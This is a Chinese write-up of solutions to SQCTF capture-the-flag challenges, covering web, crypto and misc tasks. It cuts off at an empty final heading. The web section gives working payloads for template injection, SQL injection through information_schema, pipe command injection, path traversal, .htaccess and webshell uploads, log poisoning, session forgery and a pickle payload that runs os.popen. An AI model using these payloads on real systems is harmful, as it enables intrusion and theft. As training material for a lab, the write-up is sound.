SQCTF商丘师范学院第四届信息对抗大赛WP(校外赛)

sqctf大部分题都是很基础的,个别题非常抽象。适合小白练手。

  • 解题情况

题目名称

解出情况

Web

全部解出

Crypto

全部解出

Misc1 piet

解出

Misc2 ez_music1

解出

Misc3 love.host

解出

Misc4 阿尼亚

解出

Misc5 王者荣耀真是太好玩了

解出

Misc6 Welcome_Sign_in

解出

Misc7 小巷人家

解出

Misc8 宝宝你是一只白色大猫猫

解出

Misc9 FFT IFFT

解出

Misc10 老君山的落日美好

解出

Misc11 YuanShen_Start

解出

Misc12 haha

解出

Misc14 可否许我再少年

解出

Pwn1 浅红欺醉粉,肯信有江梅

解出

Pwn2 领取你的小猫娘

解出

Pwn3 我觉君非池中物,咫尺蛟龙云雨

解出

Reverse

全未解出

  • 解题过程

Web解题步骤:
题目:白月光

启动题目环境,发现有一个输入框,随意输入数字222,发现被打印到页面上,怀疑是模板注入,输入{{3*3}},回显9,确定为模板注入。

抓包发现是post请求,参数为name,返回包中提示为python环境,直接上焚靖一把梭,

,直接cat /flag

题目:Ez_calculate

打开靶场,根据提示,猜想应该是在2秒内计算出页面上的计算题,右键查看代码是challenge字段来显示计算题的,并通过post提交参数value,写个脚本自动提取页面中的计算题并计算后提交。

根据响应内容,访问/flag.得到flag

解题脚本:

*注:如该题使用自己编写的脚本代码请详细写出,不允许截图。

import requests
from bs4 import BeautifulSoup
import re
url = "http://challenge.qsnctf.com:32378/"  # 替换为实际题目URL
# 创建会话保持Cookie
session = requests.Session()
# 第一步:获取题目页面
response = session.get(url)
response.raise_for_status()

# 解析数学表达式
soup = BeautifulSoup(response.text, "html.parser")
challenge_div = soup.find("div", class_="challenge")
if not challenge_div:
    raise ValueError("未找到数学题目")

# 提取并清理表达式
expression = challenge_div.text.strip().replace(" ", "").replace("*", "*")
print("提取到的表达式:", expression)
# 计算表达式结果
try:
    result = eval(expression)
except:
    raise ValueError("表达式计算失败")
print("计算结果:", result)
# 第二步:提交答案
post_data = {"value": result}
response = session.post(url, data=post_data)
response.raise_for_status()

# 显示提交结果
print("提交响应状态码:", response.status_code)
print("响应内容:")
print(response.text)

题目:小小查询系统

进入靶场,根据提示应该是get传参,参数名为id,感觉像是sql注入,首先判断是字符型注入还是数字型,经过测试是数值型,这里有个坑,查询到当前数据库名为security,库中有个表名user,以为flag在这张表中,通过语句-1'union/**/select/**/1,2,group_concat(id,username,password)/**/from/**/user--+,将表字段连接起来,发现flag不在这里。

然后使用语句-1' union select 1,2,group_concat(schema_name) from information_schema.schemata--+,查到有个叫ctf的数据库

Flag应该就在这里,-1'/**/union/**/select/**/1,/**/group_concat(table_name),/**/3/**/from/**/information_schema.tables/**/where/**/table_schema=‘ctf’--+,通过语句发现表明为flag,爆破列名为id,value。将id和value字段值连接起来看一下得到flag,-1'union/**/select/**/1,2,group_concat(id,value)/**/from/**/ctf.flag--+

题目:RceMe

阅读代码发现参数的长度不能超过5,先试一下ls,发现flag在根目录中

用nl /*即可得到flag

题目:ezGame

打开题目发现是一个js小游戏,右键查看源代码,发现需要分数达到2048才能得到flag,阅读源代码,可知score变量存储的是分数,在控制台进行修改即可得到flag,

obj.score = 2048;

obj.getFlag();

题目:Ping

发现代码只过滤了分号,可以用|来进行命令执行。在地址后面拼接ls /

发现flag在根目录,使用cat /flag检查flag,

题目:Through

题目是through,是穿过的意思,题目描述是可以读这个文件,根据提示感觉是目录穿越读取文件。进行一系列的尝试,猜测应该是过滤了../,

那就双写绕过

双写可以绕过,而且可以读到passwd文件,尝试读取flag,....//....//....//....//flag

题目:File_download

根据题目描述,茶买袄?,xml?,提到xml想到java,在点击help.jsp,提示Downloadservlet,确认后端是java,根据提示访问DownloadServlet?filename=/WEB-INF/web.xml,得到配置文件

发现有个FlagManager文件,使用/DownloadServlet?filename=/WEB-INF/classes/com/ctf/flag/FlagManager.class用post请求进行下载。下载过后用idea打开。

把代码交给deepseek进行解析,获取flag,

题目:哎呀大大大黑塔

根据提示观看《崩坏:星穹铁道》大黑塔角色PV,太抽象了,0.5倍看了好几遍,看到数字字母就一个一个试,原来藏在这里,想刀了出题人。

                   

Get输入后,跳转到username.php页面,是个简单的反序列化,

<?php

class Secret {

    public $key;

    public function __construct($key) {

        $this->key = $key;

    }

}

$obj = new Secret("SQCTF");

echo serialize($obj);

?>

输出结果为O:6:"Secret":1:{s:3:"key";s:5:"SQCTF";},令data=这个,post传参,即可得到flag

题目:伪装

分析代码,要获取flag,需要伪造session中的role数据,使其满足is_admin为1且name为sjx。由于Flask的session使用已知的弱密钥love,可以来伪造session。使用工具flask-unsign来生成session,然后抓包修改session得到flag。

题目:Are you from SQNU?

打开靶场看到提示post请求,那就抓包post请求,写个参数tyctf=111,提交,然后提示hhh=abc,再post请求中添加hhh=abc,接着提示来源要求为https://sqnu-tysec.com,把referer改为这个,接下来提示不是本地,那就添加x-forwarder-for:127.0.0.1,最后提示令牌不是admin,那就令cookie中的user=admin,得到flag

题目:图片展示功能

     打开靶场经过测试,发现可以上传.htaccess文件,.htaccess文件中写入

<FilesMatch "htaccess.jpeg">

SetHandler application/x-httpd-php

</FilesMatch>

意思是将jpeg结尾的文件当作php来执行,接下来再上传个图片马,连接木马发现flag再根目录下,读取即可。

题目:ggoodd

根据题目要求,post传参id=abc,get传参x=cba,需要为json格式,即可得到flag

题目:开发人员的小失误

根据提示猜测应该有备份文件,用工具扫一波发现backup.sql文件,下载下来打开即可得到flag。

题目:商师一日游

先进行信息收集发现robots.txt,访问提示我们访问/atc5uupl.php之后,get传参?hhh=php%0aaaa即可绕过,访问/atc6ertg.php。前端按钮被禁用了,删除disabled=""属性就可以点击。进入atc7wedf.php,页面显示一句话木马,蚁剑连接。蚁剑连接后就可以查看全部碎片。

题目:Input a number

   阅读代码,发现需要绕过第一个条件,满足第二个条件。利用浮点数绕过第一个条件,传入114514.1。intval("114514.1", 0)会截断小数部分得到114514。PHP在比较"114514.1" == 114514时,字符串会被转换为浮点数114514.1,与整数114514比较结果为false,因此绕过第一个条件。

    

题目:My Blog

右键查看源代码,发现file.pdf文件,打开发现username=admin,password=secret123.用账号和密码登录login.php,得到flag。

题目:唯一

    这道题挺抽象的,笔记的英文是note,需要get传参,发现有回显,是模板注入,焚靖一把梭。

题目:Upload_Level1

前端验证,只能上传.jpg|.png|.gif类型的文件,可以抓包将含有木马的jpg结尾的文件改为php结尾,蚁剑连接即可。

题目:Upload_Level2

只允许上传JPEG或PNG图片,也可以抓包将含有木马的png结尾的文件改为php结尾,蚁剑连接即可。

题目:Look for the homepage

   题目描述要求进行信息收集,右键,抓包,看请求头,扫目录,一个一个试,发现在响应头中包含TrueHomepage: challenge.php字段,访问challenge.php,需要绕过两个判断。第一个判断用&&和||组合的,PHP中的运算符优先级是&&高于||,只要满足pass2等于"welcome",不管前面的条件是否满足,整个条件都为真,即get参数为pass2=welcome&pass1=&verify=即可绕过第一个判断。第二个判断,选择一个字符串作为value3,例如value3=123,计算其MD5值为202cb962ac59075b964b07152d234b70,将value1设置为fly=该MD5值,通过POST提交,GET参数中传递value3=123,即可得到flag.

题目:千查万别

     doc参数输入/app/app.py查看源代码,分析存在模板注入,环境变量里存在session的密钥,令doc=../../../../proc/self/environ,找到secret_key,伪造session。然后发送请求。

Session的值:eyJ1c2VybmFtZSI6Int7IGdldF9mbGFzaGVkX21lc3NhZ2VzLl9fZ2xvYmFsc19fLl9fYnVpbHRpbnNfXy5vcGVuKFwiL2ZsYWdcIikucmVhZCgpIH19In0.Z_nLVA.BZMsxaMCG_ZiP1EoOIhhrn-9U7Y,

内容为:{

  "username": "{{ get_flashed_messages.__globals__.__builtins__.open(\"/flag\").read() }}"

}

题目:pickle

Pickle是反序列化,搜到网上有师傅写的现成的脚本。将脚本结果提交即可得到flag

解题脚本:

*注:如该题使用自己编写的脚本代码请详细写出,不允许截图。

import pickle
import base64
class A(object):
    def __reduce__(self):
        return (eval, ("__import__('os').popen('tac /flag').read()",))

a = A()
a = pickle.dumps(a)
print(base64.b64encode(a))

输出结果:gASVRgAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIwqX19pbXBvcnRfXygnb3MnKS5wb3BlbigndGFjIC9mbGFnJykucmVhZCgplIWUUpQu

题目:自私的小s

抓包在返回头里含字段Set-Cookie: entrance=end.php,访问该页面,发现是反序列,写个脚本。获取结果进行提交即可得到flag。

解题脚本:

*注:如该题使用自己编写的脚本代码请详细写出,不允许截图。

<?php

// 定义和服务器端完全一样的类

class Genshin_impact{

    private $value;

    public function __construct($v){

        $this->value = $v;

    }

}

$command = 'readfile("/flag");';

$malicious_object = new Genshin_impact($command);

$serialized_payload = serialize($malicious_object);

echo "Serialized Payload:\n";

echo $serialized_payload . "\n\n";

$url_encoded_payload = urlencode($serialized_payload);

echo "URL Encoded Payload (for GET request):\n";

echo $url_encoded_payload . "\n\n";

$target_url = "http://challenge.qsnctf.com:31591/end.php?payload=" . $url_encoded_payload;

echo "Full URL:\n";

echo $target_url . "\n";

?>

运行结果为:O%3A14%3A%22Genshin_impact%22%3A1%3A%7Bs%3A21%3A%22%00Genshin_impact%00value%22%3Bs%3A18%3A%22readfile%28%22%2Fflag%22%29%3B%22%3B%7D

题目:嘿嘿嘿

分析代码,是反序列化,写个脚本。右键查看即可得到flag。

解题脚本:

*注:如该题使用自己编写的脚本代码请详细写出,不允许截图。

<?php

class hhh {

    public $file = 'test.txt';

    public $content = 'GET_FLAG';

}

echo urlencode(serialize(new hhh()));

?>

运行结果:O:3:"hhh":2:{s:4:"file";s:8:"test.txt";s:7:"content";s:8:"GET_FLAG";}

题目:逃

也是反序列化,分析代码,写出脚本。

解题脚本:

*注:如该题使用自己编写的脚本代码请详细写出,不允许截图。

class test{

    var $user = 'test';

    var $pswd = 'sunshine';

}

$obj = new test();

$obj->pswd = 'escaping';

echo serialize($obj);

// 输出:O:4:"test":2:{s:4:"user";s:4:"test";s:4:"pswd";s:8:"escaping";}

题目:eeaassyy

提示右键被禁用,那就手动输入,view-source,flag就在源代码中。

题目:baby include

  伪协议,没有过滤file,look=file:///etc/passwd可以查看文件,file:///var/log/nginx/access.log,可以查看登录日志,抓包修改请求头,将一句话木马写入日志文件,蚁剑连接即可。

题目:baby rce

   绕过sha1比较,?param1[]=a¶m2[]=b,然后调用动态方法,post请求:payload=TYctf::getKey。

题目:无参之舞

     View-source查看源代码,知道用户名为sqctf,用bp进行密码爆破,得到密码为1q2w3e4r,根据提示,令exp=var_dump(scandir('./'));可以看到f1ag.php,其他都是假的。exp=var_dump(file_get_contents('f1ag.php'));读取这个文件,右键可以查看到flag。

      

Crypto解题步骤:
题目:丢三落四的小I

    给了n、e、dp和密文c,求明文,感觉像是dp泄露,交给deepseek分析。要解密给定的RSA参数(n, e, dp, c),可以利用dp泄露攻击来分解n,步骤如下:

推导p的可能值:由于dp = d mod (p-1),根据RSA等式有e·dp ≡ 1 mod (p-1)。遍历可能的k值,找到满足e·dp = 1 + k·(p-1)的k,从而计算p = (e·dp - 1) // k + 1。

分解n:验证计算出的p是否为n的因数。若是,则q = n // p。

计算私钥d:使用φ(n) = (p-1)(q-1)计算d ≡ e⁻¹ mod φ(n)。

解密c:使用私钥d解密得到明文m = c^d mod n,并将其转换为字节。

解题脚本:

*注:如该题使用自己编写的脚本代码请详细写出,不允许截图。

n= 15124759435262214519214613181859115868729356369274819299240157375966724674496904855757710168853212365134058977781083245051947523020090726851248565503324715984500225724227315777864292625995636236219359256979887906731659848125792269869019299002807101443623257106289957747665586226912446158316961637444556237354422346621287535139897525295200592525427472329815100310702255593134984040293233780616515067333512830391860868933632383433431739823740865023004008736555299772442805617275890761325372253913686933294732259451820332316315205537055439515569011020072762809613676347686279082728000419370190242778504490370698336750029

e = 65537

dp= 1489209342944820124277807386023133257342259912189247976569642906341314682381245025918040456151960704964362424182449567071683886673550031774367531511627163525245627333820636131483140111126703748875380337657189727259902108519674360217456431712478937900720899137512461928967490562092139439552174099755422092113

c= 4689152436960029165116898717604398652474344043493441445967744982389466335259787751381227392896954851765729985316050465252764336561481633355946302884245320441956409091576747510870991924820104833541438795794034004988760446988557417649875106251230110075290880741654335743932601800868983384563972124570013568709773861592975182534005364811768321753047156781579887144279837859232399305581891089040687565462656879173423137388006332763262703723086583056877677285692440970845974310740659178040501642559021104100335838038633269766591727907750043159766170187942739834524072423767132738563238283795671395912593557918090529376173

temp = e * dp - 1

for k in range(1, e + 1):

    if temp % k != 0:

        continue

    p_candidate = (temp // k) + 1

    if n % p_candidate == 0:

        p = p_candidate

        q = n // p

        phi = (p - 1) * (q - 1)

        d = pow(e, -1, phi)

        m = pow(c, d, n)

        # 转换为字节

        m_bytes = m.to_bytes((m.bit_length() + 7) // 8, 'big')

        print(m_bytes)

        exit()

# 如果没有找到,可能需要扩大k的范围或检查其他条件

print("Failed to find p and q")

题目:密室逃脱的终极挑战

下载附件后是个exe文件,右键笔记本打开源码,搜索ctf即可得到。

题目:玩的挺变态啊清茶哥

下载附件解压后是个猪猪侠的图片,注意到图片下边有特殊字符,应该是某种加密方式,可能跟猪有关,浏览器搜索有关猪的图片加密方式,可以搜到猪圈加密解密方式。将字符敲上去得到明文。

题目:字母的轮舞与密钥的交响曲

下载后的附件是一个压缩包和一个txt文件,先对压缩包进行爆破, 得到压缩包密码为123456.

解压缩后里面是一个文本,内容是secret=flag,根据题目提示,应该是维多利亚加密,密钥为flag,通过在线网站进行解密。

  发现可以字符VTFWI{brx_duh_zlq!}放到随波逐流中跑一下,得到flag。

题目:ez_SCA

分析题目描述和给出的文件进行分析,应该是从.npy 文件中加载能量轨迹数据和模板轨迹数据,通过均方误差(MSE)来推断每个能量轨迹对应的比特值(0 或 1),将这些比特值转换为二进制字符串,再把二进制字符串转换为文本,最后尝试以正向和反向两种顺序输出可能的文本结果。

解题脚本:

*注:如该题使用自己编写的脚本代码请详细写出,不允许截图。

import numpy as np
try:
    # Load the data
    template_trace_0 = np.load('template_trace_0.npy')
    template_trace_1 = np.load('template_trace_1.npy')
    traces = np.load('energy_traces_with_flag.npy')
except FileNotFoundError:
    print("Error: One or more .npy files not found.")
else:
    # Define MSE function
    def mse(trace1, trace2):
        """
        Calculate the mean squared error between two traces.
        Args:
            trace1 (np.ndarray): First trace.
            trace2 (np.ndarray): Second trace.
        Returns:
            float: Mean squared error.
        """
        return np.mean((trace1 - trace2) ** 2)
    # Infer bits
    def infer_bit(trace, template_0, template_1):
        """
        Infer the bit (0 or 1) based on the minimum mean squared error.
        Args:
            trace (np.ndarray): Trace to be inferred.
            template_0 (np.ndarray): Template trace for bit 0.
            template_1 (np.ndarray): Template trace for bit 1.
        Returns:
            str: Inferred bit ('0' or '1').
        """
        mse_0 = mse(trace, template_0)
        mse_1 = mse(trace, template_1)
        return '0' if mse_0 < mse_1 else '1'

    bits = [infer_bit(trace, template_trace_0, template_trace_1) for trace in traces]

    # Convert bits to text
    def bits_to_text(bits):
        """
        Convert a list of bits to a text string.

        Args:
            bits (list): List of bits ('0' or '1').

        Returns:
            str: Text string.
        """
        binary_string = ''.join(bits)
        chars = [binary_string[i:i+8] for i in range(0, len(binary_string), 8)]
        text = ''.join([chr(int(char, 2)) for char in chars])
        return text

    # Try forward order
    flag_text = bits_to_text(bits)
    print("Flag (forward):", flag_text)

    # Try reverse order if needed
    bits_reversed = bits[::-1]
    flag_text_reversed = bits_to_text(bits_reversed)
    print("Flag (reversed):", flag_text_reversed)

题目:你的天赋是什么

打开附件查看,是点和杠组成的,像是摩斯密码,直接随波逐流,得到flag

题目:Common Modulus

打开附件,发现是一个py脚本,让deepdeek进行分析,得到思路,首先找到整数a和b,使得ae1 + be2 = 1,若a或b为负数,则计算对应密文的模逆元,并转换为正指数运算。使用快速幂算法计算大数模幂,避免直接计算大数幂。得到的明文m转换为字符串形式,即为flag。

解题脚本:

*注:如该题使用自己编写的脚本代码请详细写出,不允许截图。

n = 13650503560233612352420237787159267432351878281073422449253560365809461612884248041710373755322100953953257608601227381211434513766352420535096028618735289379355710140356003114010103377509526452574385251495847301426845768427018504464757671958803807138699056193259160806476941875860254288376872925837127208612702688503022494109785623082365323949385021488106289708499091818714253710552213982060745736652306892896670424179736886691685639988637188591805479432332714690818805432648223229601082431517091667297328748597580733946557364100555781113940729296951594110258088501146224322799560159763097710814171619948719257894889

c1 = 3366500968116867439746769272799247895217647639427183907930755074259056811685671593722389247697636905214269760325119955242254171223875159785479900114989812511815466122321484289407596620307636198001794029251197349257235827433633936216505458557830334779187112907940003978773672225479445837897135907447625387990203145231671233038707457396631770623123809080945314083730185110252441203674945146889165953135351824739866177205127986576305492490242804571570833778440870959816207461376598067538653432472043116027057204385251674574207749241503571444801505084599753550983430739025050926400228758055440679102902069032768081393253

c2 = 7412517103990148893766077090616798338451607394614015195336719617426935439456886251056015216979658274633552687461145491779122378237012106236527924733047395907133190110919550491029113699835260675922948775568027483123730185809123757000207476650934095553899548181163223066438602627597179560789761507989925938512977319770704123979102211869834390476278761480516444396187746843654541476645830961891622999425268855097938496239480682176640906218645450399785130931214581370821403077312842724336393674718200919934701268397883415347122906912693921254353511118129903752832950063164459159991128903683711317348665571285175839274346

e1 = 4217054819

e2 = 2800068527

def extended_gcd(a, b):

    old_r, r = a, b

    old_s, s = 1, 0

    old_t, t = 0, 1

    while r != 0:

        quotient = old_r // r

        old_r, r = r, old_r - quotient * r

        old_s, s = s, old_s - quotient * s

        old_t, t = t, old_t - quotient * t

    return (old_r, old_s, old_t)

gcd, a, b = extended_gcd(e1, e2)

print(f"扩展欧几里得结果: gcd={gcd}, a={a}, b={b}")

# 计算各个部分

if a < 0:

    inv_c1 = pow(c1, -1, n)

    part1 = pow(inv_c1, -a, n)

else:

    part1 = pow(c1, a, n)

if b < 0:

    inv_c2 = pow(c2, -1, n)

    part2 = pow(inv_c2, -b, n)

else:

    part2 = pow(c2, b, n)

m = (part1 * part2) % n

# 转换整数为字符串

from libnum import n2s

flag = n2s(m)

print("Flag:", flag.decode())

题目:别阴阳我了行吗?

根据提示应该是阴阳怪气编码,直接复制文档在线解密

题目:简单RSA

根据附件内容可知给了n,e,c求明文

解题脚本:

*注:如该题使用自己编写的脚本代码请详细写出,不允许截图。

from math import isqrt

from Crypto.Util.number import inverse, long_to_bytes

# 公钥和密文

e = 65537

n = 7349515423675898192891607474991784569723846586810596813062667159281369435049497248016288479718926482987176535358013000103964873016387433732111229186113030853959182765814488023742823409594668552670824635376457830121144679902605863066189568406517231831010468189513762519884223049871926129263923438273811831862385651970651114186155355541279883465278218024789539073180081039429284499039378226284356716583185727984517316172565250133829358312221440508031140028515954553016396884149904097959425582366305748700291610280675014390376786701270107136492645593662763444032174543205008326706371954830419775515459878227148997362533

c = 3514741378432598036735573845050830323348005144476193092687936757918568216312321624978086999079287619464038817665467748860146219342413630364856274551175367026504110956407511224659095481178589587424024682256076598582558926372354316897644421756280217349588811321954271963531507455604340199167652015645135632177429144241732132275792156772401511326430069756948298403519842679923368990952555264034164975975945747016304948179325381238465171723427043140473565038827474908821764094888942553863124323750256556241722284055414264534546088842593349401380142164927188943519698141315554347020239856047842258840826831077835604327616

def fermat_factor(n):

    a = isqrt(n) + 1

    b_sq = a * a - n

    while True:

        b = isqrt(b_sq)

        if b * b == b_sq:

            return (a - b, a + b)

        b_sq += 2 * a + 1  # 更新为下一个可能的平方数

        a += 1

# 分解n得到p和q

p, q = fermat_factor(n)

# 计算私钥d

phi = (p - 1) * (q - 1)

d = inverse(e, phi)

# 解密密文

m = pow(c, d, n)

# 转换为明文

plaintext = long_to_bytes(m)

print(plaintext.decode())

题目:春风得意马蹄疾

题目描述是争做时代新青年,和附件内容,应该是社会主义核心价值观编码,多次解码即可得到flag。

题目:ezCRT

打开附件给了n1,n2,n3,c1,c2,c3,集合crt中国剩余定理,交给deepseek分析,即可得到明文。

解题脚本:

*注:如该题使用自己编写的脚本代码请详细写出,不允许截图。

n1 = 64461804435635694137780580883118542458520881333933248063286193178334411181758377012632600557019239684067421606269023383862049857550780830156513420820443580638506617741673175086647389161551833417527588094693084581758440289107240400738205844622196685129086909714662542181360063597475940496590936680150076590681

n2 = 82768789263909988537493084725526319850211158112420157512492827240222158241002610490646583583091495111448413291338835784006756008201212610248425150436824240621547620572212344588627328430747049461146136035734611452915034170904765831638240799554640849909134152967494793539689224548564534973311777387005920878063

n3 = 62107516550209183407698382807475681623862830395922060833332922340752315402552281961072427749999457737344017533524380473311833617485959469046445929625955655230750858204360677947120339189429659414555499604814322940573452873813507553588603977672509236539848025701635308206374413195614345288662257135378383463093

c1 = 36267594227441244281312954686325715871875404435399039074741857061024358177876627893305437762333495044347666207430322392503053852558456027453124214782206724238951893678824112331246153437506819845173663625582632466682383580089960799423682343826068770924526488621412822617259665379521455218674231901913722061165

c2 = 58105410211168858609707092876511568173640581816063761351545759586783802705542032125833354590550711377984529089994947048147499585647292048511175211483648376727998630887222885452118374649632155848228993361372903492029928954631998537219237912475667973649377775950834299314740179575844464625807524391212456813023

c3 = 23948847023225161143620077929515892579240630411168735502944208192562325057681298085309091829312434095887230099608144726600918783450914411367305316475869605715020490101138282409809732960150785462082666279677485259918003470544763830384394786746843510460147027017747048708688901880287245378978587825576371865614

def crt(a_list, m_list):

    N = 1

    for m in m_list:

        N *= m

    x = 0

    for a, m in zip(a_list, m_list):

        ni = N // m

        inv = pow(ni, -1, m)

        x = (x + a * ni * inv) % N

    return x

c = crt([c1, c2, c3], [n1, n2, n3])

def integer_cube_root(c):

    low, high = 0, c

    while low <= high:

        mid = (low + high) // 2

        mid_cubed = mid ** 3

        if mid_cubed == c:

            return mid

        elif mid_cubed < c:

            low = mid + 1

        else:

            high = mid - 1

    return None

m = integer_cube_root(c)

if m is not None:

    hex_str = hex(m)[2:]

    if len(hex_str) % 2!= 0:

        hex_str = '0' + hex_str

    from binascii import unhexlify

    bytes_data = unhexlify(hex_str)

    try:

        print(bytes_data.decode('latin-1'))

    except UnicodeDecodeError:

        print("使用latin-1编码解码失败,可尝试其他编码格式")

else:

    print("解密失败:非正确立方根")

题目:失落矿洞中的密码

下载附件和题目描述,是椭圆曲线加密算法,需要求x+y的值,交给deepseek分析,得到解密代码。脚本较慢,跑个几分钟才跑出来。

解题脚本:

*注:如该题使用自己编写的脚本代码请详细写出,不允许截图。

p = 7654319

a = 1234577

b = 3213242

G = (5234568, 2287747)

Public_Key = (2366653, 1424308)

crypted_data = [(5081741, 6744615), (610619, 6218)]

def point_add(p1, p2, p_mod, a_coeff):

    if p1 is None:

        return p2

    if p2 is None:

        return p1

    x1, y1 = p1

    x2, y2 = p2

    if x1 == x2:

        if y1 != y2 or y1 == 0:

            return None

        s_num = (3 * pow(x1, 2, p_mod) + a_coeff) % p_mod

        s_den = (2 * y1) % p_mod

    else:

        s_num = (y2 - y1) % p_mod

        s_den = (x2 - x1) % p_mod

    s_den_inv = pow(s_den, p_mod - 2, p_mod) if s_den != 0 else 0

    s = (s_num * s_den_inv) % p_mod

    x3 = (pow(s, 2, p_mod) - x1 - x2) % p_mod

    y3 = (s * (x1 - x3) - y1) % p_mod

    return (x3, y3)

def scalar_mult(k, point, p_mod, a_coeff):

    result = None

    current = point

    while k > 0:

        if k % 2 == 1:

            result = point_add(result, current, p_mod, a_coeff)

        current = point_add(current, current, p_mod, a_coeff)

        k = k // 2

    return result

# 寻找正确的私钥d

d = 1

while True:

    calculated_pk = scalar_mult(d, G, p, a)

    if calculated_pk == Public_Key:

        print(f"找到私钥: d = {d}")

        break

    d += 1

# 解密密文

c1, c2 = crypted_data

kPublic_Key = scalar_mult(d, c1, p, a)

m = point_add(c2, (kPublic_Key[0], (-kPublic_Key[1]) % p), p, a)

x, y = m

print(f"明文点坐标: ({x}, {y})")

print("x + y =", x + y)

题目:base?

上工具cyberchef,选择base64解码选择z64.

题目:小白兔白又白

按照base91 64 62 16,然后rabbit解密,密钥233.

题目:《1789年的密文》

根据题目和描述,是托马斯.杰斐逊转轮密码,网上搜其他师傅的脚本跑出结果。将其转换成小写进行提交。MAKETYSECGREAT

解题脚本:

*注:如该题使用自己编写的脚本代码请详细写出,不允许截图。

import re

sss = ''' 1: < QWXZRJYVKSLPDTMACFNOGIEBHU <
 2: < BXZPMTQOIRVHKLSAFUDGJYCEWN <
 3: < LKJHGFDSAQZWXECRVBYTNUIMOP <
 4: < POIUYTREWQASDFGHJKLMNBVCXZ <
 5: < ZXCVBNMASDFGHJKLPOIUYTREWQ <
 6: < MNHBGVCFXDRZESWAQPLOKMIJUY <
 7: < YUJIKMOLPQAWSZEXRDCFVGBHNM <
 8: < EDCRFVTGBYHNUJMIKOLPQAZWSX <
 9: < RFVGYBHNUJMIKOLPQAZWSXEDCT <
10: < TGBYHNUJMIKOLPQAZWSXEDCRFV <
11: < WSXEDCRFVTGBYHNUJMIKOLPQAZ <
12: < AZQWSXEDCRFVTGBYHNUJMIKOLP <
13: < VFRCDXESZWAQPLOKMIJNUHGBTG <
14: < IKOLPQAZWSXEDCRFVTGBYHNUJM <
'''
m = "UNEHJPBIUOMAVZ"
content = re.findall(r'< (.*?) <', sss, re.S)
iv = [4, 2, 11, 8, 9, 12, 3, 6, 10, 14, 1, 5, 7, 13]
vvv = []
ans = ""
# 原代码这里循环范围错误,m 长度是 14,所以范围应是 14
for i in range(14):
    index = content[iv[i] - 1].index(m[i])
    vvv.append(index)
for i in range(0, 26):
    flag = ""
    for j in range(14):
        flag += content[iv[j] - 1][(vvv[j] + i) % 26]
    # Python 3 中 print 是函数,需要加括号
    print(flag)

MISC解题步骤:

题目:piet

附件内容为一张图片,后无头绪,上浏览器搜piet。

打开第一个博客看看,发现了一张图片与附件中图片相同,

这篇博客拿着这个图片进行演示,解密了这张图片,内容为Hello word!,直接提交

题目:ez_music1

用Audacity打开MP3,查看频谱图发现flag

题目:love.host

    用foremost可以分离出一个压缩包,解压后得到flag。

题目:阿尼亚

在线解密网站,得到flag。Image Steganography - A.Tools

题目:王者荣耀真是太好玩了

搜索超下饭的萌新这个id,查看头像,在百度地图上搜索图片给中的地址,查看评论,即可得到flag。

题目:Welcome_Sign_in

关注公众号得到flag

题目:小巷人家

首先用foremost分离出一张图片,查看属性发现经纬度,纬度31度18分57.6792秒,经度120度35分1.1616秒。转换成十进制度数大约是31.316022°N, 120.583656°E。是西园寺庙。

题目:宝宝你是一只白色大猫猫

使用silentEye工具,点击image -> decode,点击decode,可以解出半张二维码,半张二维码放进随波逐流解出全部二维码。扫描即可得到flag。

题目:FFT IFFT

    下载附件,分析FFT.py代码,代码主要用于对视频文件进行处理,将视频拆分成单帧图像,对每一帧图像进行二维傅里叶变换(FFT),计算幅度谱和相位谱,并将它们分别映射到 0 - 255 的范围后保存为图像。最后,将幅度谱和相位谱的图像序列分别合成为视频文件。用deepseek写出逆序的代码,恢复出每一帧的图片。可以恢复出149张图片,可知flag为HELLO.

    解题脚本:

*注:如该题使用自己编写的脚本代码请详细写出,不允许截图。

import os
import cv2
import struct
import numpy as np
import subprocess


def demapping(normalized, min_val, max_val):
    """将归一化后的数据恢复到原始范围"""
    return normalized * (max_val - min_val) / 255.0 + min_val


def inverse_fft(m_log, phase):
    """从幅度和相位重建图像"""
    magnitude = np.exp(m_log)  # 逆转对数变换
    fft_complex = magnitude * np.exp(1j * phase)
    fft_shifted = np.fft.ifftshift(fft_complex)
    img_reconstructed = np.fft.ifft2(fft_shifted)
    return np.abs(img_reconstructed)  # 取绝对值消除残余虚部


def main():
    # 创建输出目录
    os.makedirs('recovered_frames', exist_ok=True)

    # 读取归一化参数
    with open('r', 'rb') as f:
        raw_data = f.read()

    # 解析二进制数据为 (min, max) 元组列表
    params = [struct.unpack('!ff', raw_data[i * 8:(i + 1) * 8])
              for i in range(len(raw_data) // 8)]

    # 获取排序后的文件列表
    m_files = sorted([f for f in os.listdir('m') if f.endswith('.png')],
                     key=lambda x: int(x.split('.')[0]))
    p_files = sorted([f for f in os.listdir('p') if f.endswith('.png')],
                     key=lambda x: int(x.split('.')[0]))

    # 处理每一帧
    for idx, (m_file, p_file) in enumerate(zip(m_files, p_files)):
        # 读取数据
        m_img = cv2.imread(os.path.join('m', m_file), cv2.IMREAD_GRAYSCALE)
        p_img = cv2.imread(os.path.join('p', p_file), cv2.IMREAD_GRAYSCALE)

        # 反归一化处理
        current_min, current_max = params[idx]
        m_restored = demapping(m_img.astype(np.float32), current_min, current_max)

        # 相位还原(假设原始相位被线性映射到 [0, 255])
        phase_restored = (p_img.astype(np.float32) / 255.0) * (2 * np.pi) - np.pi

        # 逆FFT重建
        reconstructed = inverse_fft(m_restored, phase_restored)

        # 归一化并保存重建帧
        reconstructed_normalized = cv2.normalize(
            reconstructed, None, 0, 255, cv2.NORM_MINMAX, dtype=cv2.CV_8U)
        cv2.imwrite(f'recovered_frames/{idx + 1:03d}.png', reconstructed_normalized)

    # 使用ffmpeg合成视频
    subprocess.run([
        'ffmpeg', '-y', '-framerate', '25',
        '-i', 'recovered_frames/%03d.png',
        '-c:v', 'libx264', '-vf', 'format=yuv420p',
        'secret_recovered.mp4'
    ])


if __name__ == '__main__':
    main()

题目:老君山的落日好美

拿到压缩包,发现需要密码,没有发现有啥提示,直接爆破,得到密码为1352681。是个jpg图片,按照jpg解密流程走一遍发现是盲水印,用watermark工具得到flag。SQCTF{luorihaomei}。

题目:YuanShen_Start!

